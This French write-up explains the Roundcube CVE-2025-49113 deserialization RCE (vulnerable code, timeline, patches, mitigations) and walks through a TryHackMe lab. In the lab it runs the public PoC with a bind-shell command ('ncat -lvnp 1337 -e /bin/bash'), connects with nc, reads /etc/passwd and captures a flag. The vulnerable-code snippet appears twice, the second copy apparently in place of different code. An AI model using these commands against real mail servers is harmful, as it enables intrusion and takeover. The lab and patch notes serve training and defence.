
Explication + Lab sur THM
{{date}} {{time}}
Status: Terminé
Lab: Facile
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
par KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Impact : exécution de commandes à distance après connexion (CVSS 9.9)
Versions affectées : ≤ 1.5.10 / 1.6.10
Corrigé : 1.5.11 et 1.6.11
| Date | Événement |
|---|---|
| ~2014 | Introduction de la route program/actions/settings/upload.php avec utilisation de session->append() sans validation. |
| 03 juin 2025 | Des chercheurs de @FearsOff publient l'avis et annoncent un PoC. |
| 04 juin 2025 | Roundcube applique commit 0376f69 (1.6-stable) et commit 7408f31 (1.5-lts). |
| 06 juin 2025 | PoC publié sur GitHub. (fearsoff-org/CVE-2025-49113) |
| 10 juin 2025 | Exploitation massive. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … plus bas
$rcmail->session->append($type . '.files', $id, $attachment);
L'entrée _from arrive complète du GET puis devient partie du nom d'un nœud dans la session et
lors du premier append(), Roundcube fait :
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … plus bas
$rcmail->session->append($type . '.files', $id, $attachment);
Si le fichier existe, l'exploitation RCE a fonctionné.
Mettez à jour immédiatement vers ≥ 1.6.11 ou ≥ 1.5.11.
Si vous ne pouvez pas mettre à jour, bloquez tout _from contenant %22, %7C, !, . ou des octets de contrôle via WAF, pare-feu ou rewrite.
Désactivez les fonctions dangereuses (proc_open, exec, etc.) dans php.ini.
Bloquez les téléversements dans le panneau de configuration et surveillez les logs.
Free Room: https://tryhackme.com/room/roundcubecve202549113
Créé par tryhackme & strategos
Ouvrir la VM (MACHINE_IP) et l'AttackBox.
Accéder à http://MACHINE_IP/roundcube avec :
utilisateur : ellieptic
mot de passe : ChangeMe123
Cela fonctionnera et la connexion se fera normalement :

Après avoir vérifié que tout est opérationnel, nous allons exécuter l'exploit ; pour cela, nous allons accéder au PoC publié sur GitHub mentionné précédemment et faire un git clone :
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

L'utilisation du payload est simple, il suffit de créer le bind shell et de pointer vers un port avec le fichier .php en suivant l'utilisation ci-dessous :
php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– Le script se connecte, injecte l'objet PHP malveillant dans le paramètre _from, comme nous l'avons dit précédemment, appelle le point de terminaison upload.php puis force la déconnexion pour déclencher
session_decode() → unserialize() → proc_open().
Parfois, il affiche une erreur CSRF ; ignorez-la et passez à l'étape suivante,
car la commande a généralement été exécutée malgré tout.

Si le bind shell a fonctionné, il écoute sur le port 1337 que nous avons passé, nous n'avons plus qu'à nous y connecter maintenant :
nc MACHINE_IP 1337
Shell obtenu.

BytePour résoudre cette question, nous pouvions faire un cat dans /etc/passwd en grepant l'utilisateur de Maggie, ou simplement faire un ls dans /home

/etc ?THM{ICE_CUBE_DESERIALISATION}Pour résoudre cela, j'ai fait un cat /etc/flag* et par chance le nom du fichier était flag et ainsi nous avons pu le capturer.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff write-up – https://fearsoff.org/research/roundcube
OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com